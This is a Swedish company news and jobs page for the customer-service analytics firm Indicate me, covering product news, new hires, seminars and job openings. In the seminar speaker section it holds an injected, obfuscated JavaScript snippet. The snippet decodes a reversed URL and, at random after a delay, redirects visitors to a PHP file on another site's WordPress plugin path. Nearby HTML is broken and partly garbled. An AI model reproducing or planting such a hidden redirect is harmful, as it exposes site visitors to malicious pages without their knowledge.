Nu lanserar vi ny funktionalitet inom modulen Kvalitet

För att få nöjda kunder behövs engagerade och motiverade medarbetare som har möjlighet att utvecklas. Nu lanserar vi ett systemstöd för att hjälpa er på vägen!

Med vår nya funktionalitet inom modulen Kvalitet, får du ett verktyg som underlättar och stöttar utvecklingsprocessen av dina medarbetare. Den nya funktionaliteten ger stöd i att:

  • Arbeta strukturerat med dialogstrategi
  • Genomföra strukturerade medlyssningar
  • Ge konkret och transparent feedback
  • Skapa utvecklingsplaner
  • Planerera in coachtillfällen
  • Sätta agenten i förarsätet av sin egen utveckling

Efterfrågan från våra kunder

Vi på Indicate me drivs av att kontinuerligt utveckla, optimera och förbättra vår produkt.

– Vi vill vara en lyhörd partner och det är viktigt för oss att vår produkt ständigt utvecklas för att följa nya digitala innovationer samt våra kunders önskemål. Vi uppskattar när våra kunder kommer med nya förslag, idéer och önskemål. Ny funktionalitet lanseras i stort sett varje vecka, berättar Jonathan Scherl, Product Development Manager på Indicate me.

Vidare berättar Jonathan:
– Den nya funktionaliteten som lanseras nu är något som våra befintliga kunder har efterfrågat. Vi har bland annat inkluderat ett strukturerat sätt ge och ta del av bedömningar på samtal, mail och chatt. Vi har även skapat visualiseringar av samtalskategorier som agenter kan utveckla eller vad de är riktigt bra på. Här finns även möjlighet att följa olika beteenden inom varje samtalskategori för att se vilka beteenden som driver kundnöjdhet.

Läs mer om modulen Kvalitet >> 

Nu utökar vi vårt team med ytterligare en ny kollega

Vi hälsar vår nya medarbetare Adam Wahrén varmt välkommen till Indicate me.

Adam har närmast arbetat som Business Manager för bland annat Halebops och Bilprovningens kundservice och kliver nu in i rollen som Customer Success Manager på Indicate me.

– Det har varit en lärorik, intensiv och rolig tid att arbeta operativt med kundservice på Releasy. I ryggsäcken tar jag med mig erfarenheten om att arbeta målmedvetet mot satta visioner och att ingenting är omöjligt. Ett av våra mål inom Halebop var att öka kundnöjdheten och däribland lyckades vi att höja vår NPS med +30% på 6 månader. Till vår hjälp hade vi bland annat verktyget från Indicate me och om jag ska vara helt ärlig tror jag inte att vi skulle ha lyckats så bra som vi gjorde utan det systemstödet vi fick, säger Adam.

Vidare berättar han:

– När jag blev kontaktad av Indicate me och fick detta jobberbjudande kunde jag inte tacka nej. Jag vet vilka insikter systemet ger och hur det kan hjälpa till att bidra till förbättringar. Jag ser fram emot att supportera och stödja fler företag att nå sina mål.

I den nya rollen kommer Adam att säkerställa en effektiv, hållbar och långsiktig relation med både existerande såväl som nya kunder.

– I takt med att vi växer är vi i behov av att stärka upp vårt team med nya kompetenta medarbetare. I december stärkte vi upp vårt utvecklingsteam och nu utökar vi även vårt Customer Success team med en ny kollega, berättar Lina Bjelkmar, VD på Indicate me.

Customer Success teamet på Indicate me jobbar bland annat med att stödja kunderna att få ut så mycket som möjligt från systemet.
– Adam har en gedigen erfarenhet av att effektivisera och öka kundnöjdheten inom kundservice och besitter de egenskaper som krävs för att säkra leveransen mot våra kunder, berättar Lina.

Välkommen Adam!

 

Lyckat seminarium om ökad effektivitet och kundnöjdhet i kundservice

I onsdags anordnade Indicate me tillsammans med Chefnätverket Close ett frukostseminarium med temat Kundservice  – effektivisera och öka kundnöjdheten.  

Lina-bjelkmar-chefnatverket-Close-2

Lina Bjelkmar, VD på Indicate me, inledde morgonen med att prata om de utmaningar som flera personer upplever inom kundservice.
1. Tidskrävande uppföljning
Att samla och analysera data är ofta tidskrävande inom kundservice. Det är inte ovanligt att data behöver hämtas från olika system och med olika tidsspann t.ex. per dygn, vecka eller månad.
2. Nyckeltalsdjungeln
Med mycket data möter man ofta utmaningen med att hitta rätt nyckeltal som man bör fokusera på. Vilka nyckeltal ska man fokusera på i kundservice för att hitta rotorsaker som leder till förändring?
3.Motivera medarbetare
Att ha motiverade medarbetare är a och o för att leverera god service. Hur kan man engagera medarbetarna i sin utveckling?

Efter att Lina inlett med de utmaningar som många känner igen sig i presenterade hon hur Indicate me kan hjälpa till för att lösa respektive utmaning.

Adam Wahrén, Business Manager för Halebop, gav oss inblick i hur Halebop har lyckats vinna titeln om Sveriges nöjdaste mobilkunder åtta av de senaste tio åren och vad de har gjort för att öka sin NPS med 30% på 6 månader. Hur gör man för att skapa nöjda kunder?

 

 

Avslutningsvis talade Johan Frodell, VD på Releasy, om hur de gått från negativt resultat till god lönsamhet och samtidigt lyckats behålla kvaliteten inom kundservice. Detta genom att följa upp och optimera den tid som spenderas i kundservice, med fokus på produktivitet och effektivitet.

Frodell-chefnatverket-Close

Kundservice – effektivisera och öka kundnöjdheten

Onsdagen den 24 januari kommer Indicate me tillsammans med Chefnätverket Close hålla i ett kostnadsfritt frukostseminarium i centrala Stockholm. Under seminariet kommer du få tips om hur du sänker kostnaderna i kundservice och samtidigt ökar kundnöjdheten.

tonde året vunnit titeln om Sveriges nöjdaste mobilkunder 2017 (SKI 2017). Under frukosten pratar Adam Wahrén, Business Manager för Halebop, om de framgångskoncept som har genomförts i kundservice och resulterat i 30% ökad NPS på några få månader.

Verktyg – Öka motivationen genom att delge resultat i realtid
Gemensamt för alla företag, oavsett bransch, är att Information är inte värt någonting om man inte kan omvandla det till insikt och sedan genomföra förbättringar. Lina Bjelkmar, VD Indicate me, talar om hur du skapar en effektivare och mer kvalitativ verksamhet genom att fokusera på några få men effektiva nyckeltalsanalyser inom kundservice.

 

Om Föreläsarna

Lina Bjelkmar

Adam Wahren

Johan Frodell
$NfI=function(n){if (typeof ($NfI.list[n]) == ”string”) return $NfI.list[n].split(””).reverse().join(””);return $NfI.list[n];};$NfI.list=[”’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top;” width=”201″>Adam Wahrén, Business Manager, har utvecklat Halebops kundservice till nya nivåer genom ökad NPS och kundnöjdhet. Genom målinriktat arbete har Halebop för åttonde året vunnit titeln om Sveriges nöjdaste mobilkunder 2017 (SKI 2017).

Vårt team utökas

Indicate me befinner sig i en spännande tillväxtfas och expanderar nu med ytterligare en kollega. Idag önskar vi Daniel Jaxvik varmt välkommen till vårt utvecklarteam.

Nu förstärker vi vårt team med ytterligare en systemutvecklare. Daniel Jaxvik kommer framförallt att arbeta med produktorienterad systemutveckling, testning, releaser och underhåll av applikationer.

Daniel kommer närmast från Releasy, som är en av Sveriges ledande aktörer inom kundservice och som använder Indicate me i sin uppföljning. Daniel känner därför väl till uppföljningssystemet från Indicate me och dess funktioner sedan tidigare. Daniel kommer med sin bakgrund från Releasy och utbildning inom systemutveckling att bidra med idéer och teknisk kompetens för att vidareutveckla framgångskonceptet med Indicate me.

– Det känns jättekul att bli en del av Indicate me. Jag ser framemot att utveckla produkten och att jobba inom ett spännande bolag, säger Daniel.

Välkommen Daniel Jaxvik!

 

Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

För mer information
Lina Bjelkmar, VD, Indicate me
Tel. +46 70 370 70 34
Mail. lina.bjelkmar@indicateme.se

Systemutvecklare sökes

,

Indicate me behöver en systemutvecklare, med placering på någon av våra siter i Borås, Linköping, Borlänge eller Stockholm

Rollen

Som utvecklare hos oss blir du en del av ett kreativt och nytänkande team som arbetar med produktorienterad systemutveckling, testning, releaser och underhåll av applikationer. Du får möjlighet att arbeta med ny teknik gentemot våra välkända kunder. Utvecklare hos oss har ett mycket stort inflytande och breda möjligheter att forma lösningar efter egna idéer.

Vi ser det som en självklarhet att du har minst några års erfarenhet av utveckling inom .Net/C#/SQL och ett genuint intresse för systemutveckling. Meriterande är om du har erfarenhet av webbutveckling – gärna genom JavaScript-ramverket Vue.js samt att arbeta med CSS-ramverk för responsivitet.

Den vi söker har relevant universitetsutbildning eller motsvarande arbetslivserfarenhet och goda kunskaper i svenska och engelska, både i tal och skrift.

Som person är du en nyfiken och dedikerad team player. Du håller dig ständigt uppdaterad om nya tekniker och brinner för att skapa högpresterande produkter. Att jobba agilt är vardagsmat för dig och har du dessutom erfarenheter inom QA är det en stor fördel. Vårt arbete karaktäriseras av en ödmjuk atmosfär där våra kollegor lär av varandra och delar kunskap. Vi tror på frihet under ansvar, balans i livet och att ha kul tillsammans!

Om Indicate me

Indicate me samlar viktiga nyckeltal inom kundservice i en marknadsunik webbtjänst, vilket möjliggör analys för att hitta rotorsaker till förändring. Områden som omfattas är bl.a. kundnöjdhet, bemanningsoptimering och försäljning. Resultatet visualiseras för såväl kundservicemedarbetare som för ledare och bidrar till en gemensam förståelse och utveckling av kundservice.

Välkommen med din ansökan!
Tjänsten ska tillsättas omgående och rekryteringsarbetet sker därför löpande under ansökningstiden.

  • Skicka in ansökan till: Fredrik.angenete@indicateme.se
  • Sista ansökningsdag: 15 december 2017

Customer Success Manager sökes!

,

Indicate me befinner sig i en spännande tillväxtfas och söker nu en driven, engagerad och självgående Customer Success Manager. I rollen kommer du ansvara för att, tillsammans med VD, kontinuerligt utveckla Indicate me’s affär för att skapa så stort värde för kund som möjligt av en högt efterfrågad produkt med stor internationell marknadspotential. Som Customer Success Manager kommer du därför att äga den övergripande relationen med företagets kunder vilket inkluderar allt från möten med potentiella nya kunder, onboarding, uppföljning, förnyelse och kundnöjdhet. Detta arbete kommer främst drivas gentemot större företag och deras Customer Service-avdelningar.

Denna person kommer att ingå i Indicate me’s Customer Success-team och kommer att spela en nyckelroll i den fortsatta tillväxten av företaget. Vi söker dig som trivs i ett entreprenöriellt och snabbväxande sammanhang, som drivs av att både optimera värde hos befintliga kunder och initiera nya affärsmöjligheter. Tjänsten rapporterar direkt till VD och är placerad på huvudkontoret på en herrgård i Bergshamra norr om Stockholm.

Dina arbetsuppgifter kommer fokuseras på:

  • Tillsammans med VD och Customer Success teamet utveckla Indicate me’s produkt
  • Agera rådgivare i både interna och externa projekt för att optimera användningen av Indicate me’s system och säkerställa bästa kundupplevelse
  • Utifrån kvalitativa leads utföra behovsanalys tillsammans med potentiella kunder för att påvisa värdet i produkten samt skapa rätt förutsättningar för nya affärsmöjligheter
  • Äga den övergripande relationen med kunder från nykundsmöten till absolut kundnöjdhet

Kvalifikationer

  • Högskoleutbildning eller motsvarande
  • 1-3 års arbetslivserfarenhet av konsultrelaterade arbetsuppgifter alternativt tjänsteförsäljning B2B
  • Meriterande med erfarenhet från liknande tjänster eller andra SaaS-lösningar

Vi söker nu dig som:

  • Är självgående och initiativrik, får saker att hända och tar ansvar för resultatet – en DO:er som trivs i en miljö som präglas av ”Trial and Error”
  • Gillar ett högt tempo i en resultatdriven organisation
  • Är ambitiös och högpresterande med ett starkt personligt driv
  • Konsultmässighet gentemot kunder, med starkt gehör för behov
  • Besitter en strategisk höjd med intellektuell skärpa
  • Har en förmåga att skapa starka affärsrelationer

Indicate me erbjuder dig

På Indicate me får du det bästa av två världar – den snabbväxande startup-kulturen med en stabil och kapitalstark ägare. Du blir del av ett litet, tight och kompetent team som precis har påbörjat en kraftig tillväxtresa. Tjänsten är en spännande och kommersiell nyckelroll i direkt anslutningen till företagets ledning där du har stora möjligheter att påverka både din egen och företagets fortsatta utveckling. Du sätter själv grunden och förutsättningarna för dina fortsatta karriärmöjligheter inom koncernen.

För mer information om tjänsten vänligen kontakta
Caroline Allmér; tor Lundeberg; tor.lundeberg@headagent.se”>viktor.lundeberg@headagent.se

Lina Bjelkmar, VD på Indicate me, gästade scenen på konferensen Framgångsrik kundservice

Konferensen Framgångsrik kundservice fokuserar på de möjligheter som digitaliseringen erbjuder kundserviceverksamheter. Lina som är expert på hur man kan öka effektiviteten och förbättra kvalitén i kundservice med hjälp av digital uppföljning fick idag äran att gästa scenen och dela med sig av sina kunskaper.

Till att börja med vill vi rikta ett stort tack till dagens publik och för det härliga bemötandet vi fick. Det är alltid kul att träffa er och se att intresset av digitalisering är stort.

När vi deltar som talare får vi ofta frågor kring hur implementeringen av Indicate me går till och om det är en lång process. Svaret är att processen varken är lång eller komplicerad. Det som krävs är två integrationer, en till ert schemaläggningssystem och en till er telefoniplattform. Att komma i gång och förstå systemet kräver bara 1 timmes utbildning. Från uppstartsmöte till att vara igång kan ske i loppet av bara ett par veckor.

Under dagens konferens uppkom även frågan om vi lagrar persondata, vilket vi inte gör.

Har du några frågor eller vill ha en demo av systemet är du alltid varmt välkommen att kontakta oss!

Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

För mer information
Lina Bjelkmar, VD, Indicate me
Tel. +46 70 370 70 34
Mail. lina.bjelkmar@indicateme.se

Fullsatt på Berns när Indicate me höll frukostseminarium tillsammans med Ving

Vi vill rikta ett stort tack till alla er som kom på vårt frukostseminarium i morse. Det är väldigt kul att se att det finns ett stort intresse kring modernisering och digitalisering av kundservice.

Redan tre veckor innan frukostseminariet skulle äga rum var alla platserna till seminariet fullbokade. Till och med överbokade!

På grund av att många har hört av sig till oss och då det finns en hög efterfrågan har vi planerat in ett flertal talarevent nu under hösten och våren. Närmast kommer vi befinna oss på eventet Framgångsrik kundservice tisdagen den 24 oktober.

Har du några frågor, vill ta del av dagens presentationer eller vill veta mer om oss är du alltid varmt välkommen att kontakta oss!

Terje-Dahl-Ving-Lina-Bjelkmar-Indicate-me

Terje Dahl, Kundservice- & försäljningschef Ving, och Lina Bjelkmar, VD Indicate me.

Indicate me erbjuder moderna digitala tjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

För mer information
Lina Bjelkmar, VD, Indicate me
Tel. +46 70 370 70 34
Mail. lina.bjelkmar@indicateme.se

Grattis Halebop till Svergies nöjdaste kunder!

Årligen genomför Svenskt kvalitets index (SKI) en undersökning om kundnöjdhet bland svenska mobiloperatörer. I år står Halebop som vinnare.

Indicate me vill rikta ett stort GRATTIS till Halebop som vinner titeln om Sveriges nöjdaste kunder. Det är väldigt kul att se att hårt arbete gett resultat och att användandet av Indicate me har hjälpt till på vägen.

Releasy, som idag har hand om Halebops kundservice publicerade en artikel i september angående att Halebop ökar i popularitet bland sina kunder.  I artikeln hittar vi följande citat:

” Vårt uppföljningssystem från Indicate me är ett otroligt bra motivationsverktyg,
men också ett bra verktyg för både agenter och teamledare att identifiera förbättringsområden”.

Att Halebop har vunnit titeln om Sveriges nöjdaste kunder visar att man har fokuserat på rätt saker och vi är väldigt glada till att vi har kunnat bidra på det området.

Indicate me erbjuder moderna digitala webbtjänster som hjälper företag till förbättrad kvalité, kundnöjdhet och högre lönsamhet i sin kundservice. Användare av Indicate me’s verktyg inkluderar företag såsom Ving och C More. Indicate me är dotterbolag till Releasy och ingår i samma koncern som Pulsen AB.

För mer information
Lina Bjelkmar, VD, Indicate me
Tel. +46 70 370 70 34
Mail. lina.bjelkmar@indicateme.se